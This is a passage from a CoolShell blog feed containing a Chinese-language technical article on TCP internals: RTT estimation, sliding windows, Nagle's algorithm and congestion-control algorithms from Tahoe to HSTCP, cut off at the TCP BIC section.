src="https://coolshell.cn/wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg" alt="谈谈数据安全和云存储" width="150" height="150" /></a><a href="http://coolshell.cn/articles/6976.html" class="wp_rp_title">谈谈数据安全和云存储</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11973.html">bash代码注入的安全漏洞</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11973.html/feed</wfw:commentRss>
			<slash:comments>136</slash:comments>
		
		
			</item>
		<item>
		<title>TCP 的那些事儿（下）</title>
		<link>https://coolshell.cn/articles/11609.html</link>
					<comments>https://coolshell.cn/articles/11609.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 28 May 2014 00:20:32 +0000</pubDate>
				<category><![CDATA[程序设计]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Congestion Avoidance]]></category>
		<category><![CDATA[Fast Recovery]]></category>
		<category><![CDATA[RTO]]></category>
		<category><![CDATA[RTT]]></category>
		<category><![CDATA[TCP]]></category>
		<category><![CDATA[Window]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11609</guid>

					<description><![CDATA[<p>这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《TCP的那些事儿（上）》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11609.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11609.html">TCP 的那些事儿（下）</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright wp-image-11641" src="https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318.jpg" alt="" width="360" height="244" srcset="https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318.jpg 400w, https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-300x203.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-399x270.jpg 399w" sizes="(max-width: 360px) 100vw, 360px" />这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《<a href="https://coolshell.cn/articles/11564.html" target="_blank">TCP的那些事儿（上）</a>》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP要解决一个很大的事，那就是要在一个网络根据不同的情况来动态调整自己的发包的速度，小则让自己的连接更稳定，大则让整个网络更稳定。在你阅读下篇之前，你需要做好准备，本篇文章有好些算法和策略，可能会引发你的各种思考，让你的大脑分配很多内存和计算资源，所以，不适合在厕所中阅读。</p>
<h4>TCP的RTT算法</h4>
<p>从前面的TCP重传机制我们知道Timeout的设置对于重传非常重要。</p>
<ul>
<li>设长了，重发就慢，丢了老半天才重发，没有效率，性能差；</li>
<li>设短了，会导致可能并没有丢就重发。于是重发的就快，会增加网络拥塞，导致更多的超时，更多的超时导致更多的重发。</li>
</ul>
<p>而且，这个超时时间在不同的网络的情况下，根本没有办法设置一个死的值。只能动态地设置。 为了动态地设置，TCP引入了RTT——Round Trip Time，也就是一个数据包从发出去到回来的时间。这样发送端就大约知道需要多少的时间，从而可以方便地设置Timeout——RTO（Retransmission TimeOut），以让我们的重传机制更高效。 听起来似乎很简单，好像就是在发送端发包时记下t0，然后接收端再把这个ack回来时再记一个t1，于是RTT = t1 &#8211; t0。没那么简单，这只是一个采样，不能代表普遍情况。</p>
<p><span id="more-11609"></span></p>
<h5>经典算法</h5>
<p><a href="http://tools.ietf.org/html/rfc793" target="_blank">RFC793</a> 中定义的经典算法是这样的：</p>
<p style="padding-left: 30px;">1）首先，先采样RTT，记下最近好几次的RTT值。</p>
<p style="padding-left: 30px;">2）然后做平滑计算SRTT（ Smoothed RTT）。公式为：（其中的 α 取值在0.8 到 0.9之间，这个算法英文叫Exponential weighted moving average，中文叫：加权移动平均）</p>
<p style="text-align: center;"><strong>SRTT = ( α * SRTT ) + ((1- α) * RTT)</strong></p>
<p style="padding-left: 30px;">3）开始计算RTO。公式如下：</p>
<p style="text-align: center;"><strong>RTO = min [ UBOUND,  max [ LBOUND,   (β * SRTT) ]  ]</strong></p>
<p>其中：</p>
<ul>
<li>UBOUND是最大的timeout时间，上限值</li>
<li>LBOUND是最小的timeout时间，下限值</li>
<li>β 值一般在1.3到2.0之间。</li>
</ul>
<h5>Karn / Partridge 算法</h5>
<p>但是上面的这个算法在重传的时候会出有一个终极问题——你是用第一次发数据的时间和ack回来的时间做RTT样本值，还是用重传的时间和ACK回来的时间做RTT样本值？</p>
<p>这个问题无论你选那头都是按下葫芦起了瓢。 如下图所示：</p>
<ul>
<li>情况（a）是ack没回来，所以重传。如果你计算第一次发送和ACK的时间，那么，明显算大了。</li>
<li>情况（b）是ack回来慢了，但是导致了重传，但刚重传不一会儿，之前ACK就回来了。如果你是算重传的时间和ACK回来的时间的差，就会算短了。</li>
</ul>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11605" src="https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg" alt="" width="545" height="243" srcset="https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg 745w, https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm-300x133.jpg 300w" sizes="(max-width: 545px) 100vw, 545px" /></p>
<p>所以1987年的时候，搞了一个叫<a href="http://en.wikipedia.org/wiki/Karn's_Algorithm" target="_blank">Karn / Partridge Algorithm</a>，这个算法的最大特点是——<strong>忽略重传，不把重传的RTT做采样</strong>（你看，你不需要去解决不存在的问题）。</p>
<p>但是，这样一来，又会引发一个大BUG——<strong>如果在某一时间，网络闪动，突然变慢了，产生了比较大的延时，这个延时导致要重转所有的包（因为之前的RTO很小），于是，因为重转的不算，所以，RTO就不会被更新，这是一个灾难</strong>。 于是Karn算法用了一个取巧的方式——只要一发生重传，就对现有的RTO值翻倍（这就是所谓的 Exponential backoff），很明显，这种死规矩对于一个需要估计比较准确的RTT也不靠谱。</p>
<h5>Jacobson / Karels 算法</h5>
<p>前面两种算法用的都是“加权移动平均”，这种方法最大的毛病就是如果RTT有一个大的波动的话，很难被发现，因为被平滑掉了。所以，1988年，又有人推出来了一个新的算法，这个算法叫Jacobson / Karels Algorithm（参看<a href="http://tools.ietf.org/html/rfc6298" target="_blank">RFC6289</a>）。这个算法引入了最新的RTT的采样和平滑过的SRTT的差距做因子来计算。 公式如下：（其中的DevRTT是Deviation RTT的意思）</p>
<p style="padding-left: 30px;"><b>SRTT</b><b> = S</b><b>RTT</b><b> + α</b><b> </b><b>(</b><b>RTT</b><b> – S</b><b>RTT</b><b>)  </b>—— 计算平滑RTT</p>
<p style="padding-left: 30px;"><b>DevRTT</b><b> = (1-β</b><b>)*</b><b>DevRTT</b><b> + β</b><b>*(|</b><b>RTT-SRTT</b><b>|) </b>——计算平滑RTT和真实的差距（加权移动平均）</p>
<p style="padding-left: 30px;"><strong>RTO= µ * SRTT + ∂ *DevRTT </strong>—— 神一样的公式</p>
<p>（其中：在Linux下，α = 0.125，β = 0.25， μ = 1，∂ = 4 ——这就是算法中的“调得一手好参数”，nobody knows why, it just works&#8230;） 最后的这个算法在被用在今天的TCP协议中（Linux的源代码在：<a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_input.c?v=2.6.32#L609" target="_blank">tcp_rtt_estimator</a>）。</p>
<h4>TCP滑动窗口</h4>
<p>需要说明一下，如果你不了解TCP的滑动窗口这个事，你等于不了解TCP协议。我们都知道，<strong>TCP必需要解决的可靠传输以及包乱序（reordering）的问题</strong>，所以，TCP必需要知道网络实际的数据处理带宽或是数据处理速度，这样才不会引起网络拥塞，导致丢包。</p>
<p>所以，TCP引入了一些技术和设计来做网络流控，Sliding Window是其中一个技术。 前面我们说过，<strong>TCP头里有一个字段叫Window，又叫Advertised-Window，这个字段是接收端告诉发送端自己还有多少缓冲区可以接收数据</strong>。<strong>于是发送端就可以根据这个接收端的处理能力来发送数据，而不会导致接收端处理不过来</strong>。 为了说明滑动窗口，我们需要先看一下TCP缓冲区的一些数据结构：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11594" src="https://coolshell.cn/wp-content/uploads/2014/05/sliding_window.jpg" alt="" width="450" height="179" srcset="https://coolshell.cn/wp-content/uploads/2014/05/sliding_window.jpg 906w, https://coolshell.cn/wp-content/uploads/2014/05/sliding_window-300x119.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/sliding_window-900x358.jpg 900w" sizes="(max-width: 450px) 100vw, 450px" /></p>
<p>上图中，我们可以看到：</p>
<ul>
<li>接收端LastByteRead指向了TCP缓冲区中读到的位置，NextByteExpected指向的地方是收到的连续包的最后一个位置，LastByteRcved指向的是收到的包的最后一个位置，我们可以看到中间有些数据还没有到达，所以有数据空白区。</li>
</ul>
<ul>
<li>发送端的LastByteAcked指向了被接收端Ack过的位置（表示成功发送确认），LastByteSent表示发出去了，但还没有收到成功确认的Ack，LastByteWritten指向的是上层应用正在写的地方。</li>
</ul>
<p>于是：</p>
<ul>
<li>接收端在给发送端回ACK中会汇报自己的AdvertisedWindow = MaxRcvBuffer &#8211; LastByteRcvd &#8211; 1;</li>
</ul>
<ul>
<li>而发送方会根据这个窗口来控制发送数据的大小，以保证接收方可以处理。</li>
</ul>
<p>下面我们来看一下发送方的滑动窗口示意图：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11596" src="https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows.png" alt="" width="660" height="270" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows.png 660w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows-300x122.png 300w" sizes="(max-width: 660px) 100vw, 660px" /></p>
<p style="text-align: center;">（<a href="http://www.tcpipguide.com/free/t_TCPSlidingWindowAcknowledgmentSystemForDataTranspo-6.htm" target="_blank">图片来源</a>）</p>
<p>上图中分成了四个部分，分别是：（其中那个黑模型就是滑动窗口）</p>
<ul>
<li>#1已收到ack确认的数据。</li>
<li>#2发还没收到ack的。</li>
<li>#3在窗口中还没有发出的（接收方还有空间）。</li>
<li>#4窗口以外的数据（接收方没空间）</li>
</ul>
<p>下面是个滑动后的示意图（收到36的ack，并发出了46-51的字节）：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11597" src="https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide.png" alt="" width="660" height="210" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide.png 660w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide-300x95.png 300w" sizes="(max-width: 660px) 100vw, 660px" /></p>
<p>下面我们来看一个接受端控制发送端的图示：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11617" src="https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow.png" alt="" width="666" height="836" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow.png 666w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow-238x300.png 238w" sizes="(max-width: 666px) 100vw, 666px" /></p>
<p style="text-align: center;">（<a href="http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm" target="_blank">图片来源</a>）</p>
<h5 style="text-align: left;">Zero Window</h5>
<p style="text-align: left;">上图，我们可以看到一个处理缓慢的Server（接收端）是怎么把Client（发送端）的TCP Sliding Window给降成0的。此时，你一定会问，如果Window变成0了，TCP会怎么样？是不是发送端就不发数据了？是的，发送端就不发数据了，你可以想像成“Window Closed”，那你一定还会问，如果发送端不发数据了，接收方一会儿Window size 可用了，怎么通知发送端呢？</p>
<p style="text-align: left;">解决这个问题，TCP使用了Zero Window Probe技术，缩写为ZWP，也就是说，发送端在窗口变成0后，会发ZWP的包给接收方，让接收方来ack他的Window尺寸，一般这个值会设置成3次，第次大约30-60秒（不同的实现可能会不一样）。如果3次过后还是0的话，有的TCP实现就会发RST把链接断了。</p>
<p style="text-align: left;"><strong>注意</strong>：只要有等待的地方都可能出现DDoS攻击，Zero Window也不例外，一些攻击者会在和HTTP建好链发完GET请求后，就把Window设置为0，然后服务端就只能等待进行ZWP，于是攻击者会并发大量的这样的请求，把服务器端的资源耗尽。（关于这方面的攻击，大家可以移步看一下<a href="http://en.wikipedia.org/wiki/Sockstress" target="_blank">Wikipedia的SockStress词条</a>）</p>
<p style="text-align: left;">另外，Wireshark中，你可以使用tcp.analysis.zero_window来过滤包，然后使用右键菜单里的follow TCP stream，你可以看到ZeroWindowProbe及ZeroWindowProbeAck的包。</p>
<h5 style="text-align: left;">Silly Window Syndrome</h5>
<p>Silly Window Syndrome翻译成中文就是“糊涂窗口综合症”。正如你上面看到的一样，如果我们的接收方太忙了，来不及取走Receive Windows里的数据，那么，就会导致发送方越来越小。到最后，如果接收方腾出几个字节并告诉发送方现在有几个字节的window，而我们的发送方会义无反顾地发送这几个字节。</p>
<p>要知道，我们的TCP+IP头有40个字节，为了几个字节，要达上这么大的开销，这太不经济了。</p>
<p>另外，你需要知道网络上有个MTU，对于以太网来说，MTU是1500字节，除去TCP+IP头的40个字节，真正的数据传输可以有1460，这就是所谓的MSS（Max Segment Size）注意，TCP的RFC定义这个MSS的默认值是536，这是因为<span style="color: #252525;"> </span><span class="reference-text" style="color: #252525;"><a class="external mw-magiclink-rfc" style="color: #663366;" href="http://tools.ietf.org/html/rfc791" rel="nofollow">RFC 791</a>里说了任何一个</span>IP设备都得最少接收576尺寸的大小（实际上来说576是拨号的网络的MTU，而576减去IP头的20个字节就是536）。</p>
<p><strong>如果你的网络包可以塞满MTU，那么你可以用满整个带宽，如果不能，那么你就会浪费带宽</strong>。（大于MTU的包有两种结局，一种是直接被丢了，另一种是会被重新分块打包发送） 你可以想像成一个MTU就相当于一个飞机的最多可以装的人，如果这飞机里满载的话，带宽最高，如果一个飞机只运一个人的话，无疑成本增加了，也而相当二。</p>
<p>所以，<strong>Silly Windows Syndrome这个现像就像是你本来可以坐200人的飞机里只做了一两个人</strong>。 要解决这个问题也不难，就是避免对小的window size做出响应，直到有足够大的window size再响应，这个思路可以同时实现在sender和receiver两端。</p>
<ul>
<li>如果这个问题是由Receiver端引起的，那么就会使用 David D Clark&#8217;s 方案。在receiver端，如果收到的数据导致window size小于某个值，可以直接ack(0)回sender，这样就把window给关闭了，也阻止了sender再发数据过来，等到receiver端处理了一些数据后windows size 大于等于了MSS，或者，receiver buffer有一半为空，就可以把window打开让send 发送数据过来。</li>
</ul>
<ul>
<li>如果这个问题是由Sender端引起的，那么就会使用著名的<span style="color: #252525;"> </span><a style="color: #0b0080;" title="Nagle's algorithm" href="http://en.wikipedia.org/wiki/Nagle%27s_algorithm" target="_blank">Nagle&#8217;s algorithm</a>。这个算法的思路也是延时处理，他有两个主要的条件：1）要等到 Window Size&gt;=MSS 或是 Data Size &gt;=MSS，2）收到之前发送数据的ack回包，他才会发数据，否则就是在攒数据。</li>
</ul>
<p>另外，Nagle算法默认是打开的，所以，对于一些需要小包场景的程序——<strong>比如像telnet或ssh这样的交互性比较强的程序，你需要关闭这个算法</strong>。你可以在Socket设置TCP_NODELAY选项来关闭这个算法（关闭Nagle算法没有全局参数，需要根据每个应用自己的特点来关闭）</p>
<p><code data-enlighter-language="c" class="EnlighterJSRAW">setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&amp;value,sizeof(int));</code></p>
<p>另外，网上有些文章说<span style="color: #000000;">TCP_CORK的socket option是也关闭Nagle算法，这不对。<strong>TCP_CORK其实是更新激进的Nagle算汉，完全禁止小包发送，而Nagle算法没有禁止小包发送，只是禁止了大量的小包发送</strong>。最好不要两个选项都设置。</span></p>
<h4>TCP的拥塞处理 &#8211; Congestion Handling</h4>
<p>上面我们知道了，TCP通过Sliding Window来做流控（Flow Control），但是TCP觉得这还不够，因为Sliding Window需要依赖于连接的发送端和接收端，其并不知道网络中间发生了什么。TCP的设计者觉得，一个伟大而牛逼的协议仅仅做到流控并不够，因为流控只是网络模型4层以上的事，TCP的还应该更聪明地知道整个网络上的事。</p>
<p>具体一点，我们知道TCP通过一个timer采样了RTT并计算RTO，但是，<strong>如果网络上的延时突然增加，那么，TCP对这个事做出的应对只有重传数据，但是，重传会导致网络的负担更重，于是会导致更大的延迟以及更多的丢包，于是，这个情况就会进入恶性循环被不断地放大。试想一下，如果一个网络内有成千上万的TCP连接都这么行事，那么马上就会形成“网络风暴”，TCP这个协议就会拖垮整个网络。</strong>这是一个灾难。</p>
<p>所以，TCP不能忽略网络上发生的事情，而无脑地一个劲地重发数据，对网络造成更大的伤害。对此TCP的设计理念是：<span style="color: #cc0000;"><strong>TCP不是一个自私的协议，当拥塞发生的时候，要做自我牺牲。就像交通阻塞一样，每个车都应该把路让出来，而不要再去抢路了。</strong></span></p>
<p>关于拥塞控制的论文请参看《<a href="http://ee.lbl.gov/papers/congavoid.pdf" target="_blank">Congestion Avoidance and Control</a>》(PDF)</p>
<p>拥塞控制主要是四个算法：<strong>1）慢启动</strong>，<strong>2）拥塞避免</strong>，<strong>3）拥塞发生</strong>，<strong>4）快速恢复</strong>。这四个算法不是一天都搞出来的，这个四算法的发展经历了很多时间，到今天都还在优化中。 备注:</p>
<ul>
<li>1988年，TCP-Tahoe 提出了1）慢启动，2）拥塞避免，3）拥塞发生时的快速重传</li>
<li>1990年，TCP Reno 在Tahoe的基础上增加了4）快速恢复</li>
</ul>
<h5>慢热启动算法 &#8211; Slow Start</h5>
<p>首先，我们来看一下TCP的慢热启动。慢启动的意思是，刚刚加入网络的连接，一点一点地提速，不要一上来就像那些特权车一样霸道地把路占满。新同学上高速还是要慢一点，不要把已经在高速上的秩序给搞乱了。</p>
<p>慢启动的算法如下(cwnd全称Congestion Window)：</p>
<p style="padding-left: 30px;">1）连接建好的开始先初始化cwnd = 1，表明可以传一个MSS大小的数据。</p>
<p style="padding-left: 30px;">2）每当收到一个ACK，cwnd++; 呈线性上升</p>
<p style="padding-left: 30px;">3）每当过了一个RTT，cwnd = cwnd*2; 呈指数让升</p>
<p style="padding-left: 30px;">4）还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”（后面会说这个算法）</p>
<p>所以，我们可以看到，如果网速很快的话，ACK也会返回得快，RTT也会短，那么，这个慢启动就一点也不慢。下图说明了这个过程。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11619" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_.jpg" alt="" width="662" height="388" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_.jpg 662w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_-300x175.jpg 300w" sizes="(max-width: 662px) 100vw, 662px" /></p>
<p>这里，我需要提一下的是一篇Google的论文<span style="color: #000000;">《<a href="http://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/36640.pdf" target="_blank">An Argument for Increasing TCP&#8217;s Initial Congestion Window</a>》Linux 3.0后采用了这篇论文的建议——把cwnd 初始化成了 10个MSS。</span> <span style="color: #000000;">而Linux 3.0以前，比如2.6，Linux采用了<a href="http://www.rfc-editor.org/rfc/rfc3390.txt" target="_blank">RFC3390</a>，cwnd是跟MSS的值来变的，如果MSS&lt; 1095，则cwnd = 4；如果MSS&gt;2190，则cwnd=2；其它情况下，则是3。</span></p>
<h5> 拥塞避免算法 &#8211; Congestion Avoidance</h5>
<p>前面说过，还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”。一般来说ssthresh的值是65535，单位是字节，当cwnd达到这个值时后，算法如下：</p>
<p style="padding-left: 30px;">1）收到一个ACK时，cwnd = cwnd + 1/cwnd</p>
<p style="padding-left: 30px;">2）当每过一个RTT时，cwnd = cwnd + 1</p>
<p>这样就可以避免增长过快导致网络拥塞，慢慢的增加调整到网络的最佳值。很明显，是一个线性上升的算法。</p>
<h5>拥塞状态时的算法</h5>
<p>前面我们说过，当丢包的时候，会有两种情况：</p>
<p style="padding-left: 30px;">1）等到RTO超时，重传数据包。TCP认为这种情况太糟糕，反应也很强烈。</p>
<ul>
<ul>
<li>sshthresh =  cwnd /2</li>
<li>cwnd 重置为 1</li>
<li>进入慢启动过程</li>
</ul>
</ul>
<p style="padding-left: 30px;">2）Fast Retransmit算法，也就是在收到3个duplicate ACK时就开启重传，而不用等到RTO超时。</p>
<ul>
<ul>
<li>TCP Tahoe的实现和RTO超时一样。</li>
</ul>
</ul>
<ul>
<ul>
<li>TCP Reno的实现是：
<ul>
<li>cwnd = cwnd /2</li>
<li>sshthresh = cwnd</li>
<li>进入快速恢复算法——Fast Recovery</li>
</ul>
</li>
</ul>
</ul>
<p>上面我们可以看到RTO超时后，sshthresh会变成cwnd的一半，这意味着，如果cwnd&lt;=sshthresh时出现的丢包，那么TCP的sshthresh就会减了一半，然后等cwnd又很快地以指数级增涨爬到这个地方时，就会成慢慢的线性增涨。我们可以看到，TCP是怎么通过这种强烈地震荡快速而小心得找到网站流量的平衡点的。</p>
<h5>快速恢复算法 &#8211; Fast Recovery</h5>
<p><span style="text-decoration: underline;"><strong>TCP Reno</strong></span></p>
<p><span style="color: #000000;">这个算法定义在</span><a title="&quot;TCP Congestion Control&quot;" href="http://tools.ietf.org/html/rfc5681">RFC5681</a>。快速重传和快速恢复算法一般同时使用。快速恢复算法是认为，你还有3个Duplicated Acks说明网络也不那么糟糕，所以没有必要像RTO超时那么强烈。 <span style="color: #000000;">注意，正如前面所说，进入Fast Recovery之前，cwnd 和 sshthresh已被更新：</span></p>
<ul>
<li>cwnd = cwnd /2</li>
<li>sshthresh = cwnd</li>
</ul>
<p><span style="color: #000000;">然后，真正的Fast Recovery算法如下：</span></p>
<ul>
<li>cwnd = sshthresh  + 3 * MSS （3的意思是确认有3个数据包被收到了）</li>
<li>重传Duplicated ACKs指定的数据包</li>
<li>如果再收到 duplicated Acks，那么cwnd = cwnd +1</li>
<li>如果收到了新的Ack，那么，cwnd = sshthresh ，然后就进入了拥塞避免的算法了。</li>
</ul>
<p>如果你仔细思考一下上面的这个算法，你就会知道，<strong>上面这个算法也有问题，那就是——它依赖于3个重复的Acks</strong>。注意，3个重复的Acks并不代表只丢了一个数据包，很有可能是丢了好多包。但这个算法只会重传一个，而剩下的那些包只能等到RTO超时，于是，进入了恶梦模式——超时一个窗口就减半一下，多个超时会超成TCP的传输速度呈级数下降，而且也不会触发Fast Recovery算法了。</p>
<p>通常来说，正如我们前面所说的，SACK或D-SACK的方法可以让Fast Recovery或Sender在做决定时更聪明一些，但是并不是所有的TCP的实现都支持SACK（SACK需要两端都支持），所以，需要一个没有SACK的解决方案。而通过SACK进行拥塞控制的算法是FACK（后面会讲）</p>
<p><span style="text-decoration: underline;"><strong>TCP New Reno</strong></span></p>
<p><span style="color: #252525;">于是，1995年，TCP New Reno（参见 </span><a class="external mw-magiclink-rfc" style="color: #663366;" href="http://tools.ietf.org/html/rfc6582" rel="nofollow">RFC 6582</a> ）算法提出来，主要就是在没有SACK的支持下改进Fast Recovery算法的——</p>
<ul>
<li>当sender这边收到了3个Duplicated Acks，进入Fast Retransimit模式，开发重传重复Acks指示的那个包。如果只有这一个包丢了，那么，重传这个包后回来的Ack会把整个已经被sender传输出去的数据ack回来。如果没有的话，说明有多个包丢了。我们叫这个ACK为Partial ACK。</li>
</ul>
<ul>
<li>一旦Sender这边发现了Partial ACK出现，那么，sender就可以推理出来有多个包被丢了，于是乎继续重传sliding window里未被ack的第一个包。直到再也收不到了Partial Ack，才真正结束Fast Recovery这个过程</li>
</ul>
<p>我们可以看到，这个“Fast Recovery的变更”是一个非常激进的玩法，他同时延长了Fast Retransmit和Fast Recovery的过程。</p>
<h5>算法示意图</h5>
<p>下面我们来看一个简单的图示以同时看一下上面的各种算法的样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11621" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg" alt="" width="680" height="239" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-300x105.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-900x315.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_.jpg 1410w" sizes="(max-width: 680px) 100vw, 680px" /></p>
<p>&nbsp;</p>
<h5>FACK算法</h5>
<p>FACK全称Forward Acknowledgment 算法，论文地址在这里（PDF）<a href="http://conferences.sigcomm.org/sigcomm/1996/papers/mathis.pdf" target="_blank">Forward Acknowledgement: Refining TCP Congestion Control</a> 这个算法是其于SACK的，前面我们说过SACK是使用了TCP扩展字段Ack了有哪些数据收到，哪些数据没有收到，他比Fast Retransmit的3 个duplicated acks好处在于，前者只知道有包丢了，不知道是一个还是多个，而SACK可以准确的知道有哪些包丢了。 所以，SACK可以让发送端这边在重传过程中，把那些丢掉的包重传，而不是一个一个的传，但这样的一来，如果重传的包数据比较多的话，又会导致本来就很忙的网络就更忙了。所以，FACK用来做重传过程中的拥塞流控。</p>
<ul>
<li>这个算法会把SACK中最大的Sequence Number 保存在<strong>snd.fack</strong>这个变量中，snd.fack的更新由ack带秋，如果网络一切安好则和snd.una一样（snd.una就是还没有收到ack的地方，也就是前面sliding window里的category #2的第一个地方）</li>
</ul>
<ul>
<li>然后定义一个<strong>awnd = snd.nxt &#8211; snd.fack</strong>（snd.nxt指向发送端sliding window中正在要被发送的地方——前面sliding windows图示的category#3第一个位置），这样awnd的意思就是在网络上的数据。（所谓awnd意为：actual quantity of data outstanding in the network）</li>
</ul>
<ul>
<li>如果需要重传数据，那么，<strong>awnd = snd.nxt &#8211; snd.fack + retran_data</strong>，也就是说，awnd是传出去的数据 + 重传的数据。</li>
</ul>
<ul>
<li>然后触发Fast Recovery 的条件是： (<strong> ( snd.fack &#8211; snd.una ) &gt; (3*MSS) </strong>) || (dupacks == 3) ) 。这样一来，就不需要等到3个duplicated acks才重传，而是只要sack中的最大的一个数据和ack的数据比较长了（3个MSS），那就触发重传。在整个重传过程中cwnd不变。直到当第一次丢包的snd.nxt&lt;=snd.una（也就是重传的数据都被确认了），然后进来拥塞避免机制——cwnd线性上涨。</li>
</ul>
<p>我们可以看到如果没有FACK在，那么在丢包比较多的情况下，原来保守的算法会低估了需要使用的window的大小，而需要几个RTT的时间才会完成恢复，而FACK会比较激进地来干这事。 但是，FACK如果在一个网络包会被 reordering的网络里会有很大的问题。</p>
<h4>其它拥塞控制算法简介</h4>
<h5><strong>TCP Vegas 拥塞控制算法</strong></h5>
<p>这个算法1994年被提出，它主要对TCP Reno 做了些修改。这个算法通过对RTT的非常重的监控来计算一个基准RTT。然后通过这个基准RTT来估计当前的网络实际带宽，如果实际带宽比我们的期望的带宽要小或是要多的活，那么就开始线性地减少或增加cwnd的大小。如果这个计算出来的RTT大于了Timeout后，那么，不等ack超时就直接重传。（Vegas 的核心思想是用RTT的值来影响拥塞窗口，而不是通过丢包） 这个算法的论文是《<a class="external text" style="color: #663366;" href="http://www.cs.cmu.edu/~srini/15-744/F02/readings/BP95.pdf" target="_blank" rel="nofollow">TCP Vegas: End to End Congestion Avoidance on a Global Internet</a>》这篇论文给了Vegas和 New Reno的对比：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11626" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg" alt="" width="680" height="369" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-300x162.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno-900x487.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_vegas_newreno.jpg 1500w" sizes="(max-width: 680px) 100vw, 680px" /></p>
<p>关于这个算法实现，你可以参看Linux源码：<a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.h" target="_blank">/net/ipv4/tcp_vegas.h</a>， <a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.c" target="_blank">/net/ipv4/tcp_vegas.c</a></p>
<h5></h5>
<h5 style="color: #000000;">HSTCP(High Speed TCP) 算法</h5>
<p>这个算法来自<a href="http://tools.ietf.org/html/rfc3649" target="_blank">RFC 3649</a>（<a href="http://en.wikipedia.org/wiki/HSTCP" target="_blank">Wikipedia词条</a>）。其对最基础的算法进行了更改，他使得Congestion Window涨得快，减得慢。其中：</p>
<ul>
<li>拥塞避免时的窗口增长方式： cwnd = cwnd + α(cwnd) / cwnd</li>
<li>丢包后窗口下降方式：cwnd = (1- β(cwnd))*cwnd</li>
</ul>
<p>注：α(cwnd)和β(cwnd)都是函数，如果你要让他们和标准的TCP一样，那么让α(cwnd)=1，β(cwnd)=0.5就可以了。 对于α(cwnd)和β(cwnd)的值是个动态的变换的东西。 关于这个算法的实现，你可以参看Linux源码：<a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_highspeed.c" target="_blank">/net/ipv4/tcp_highspeed.c</a></p>
<h5> TCP BIC 算法</h5>
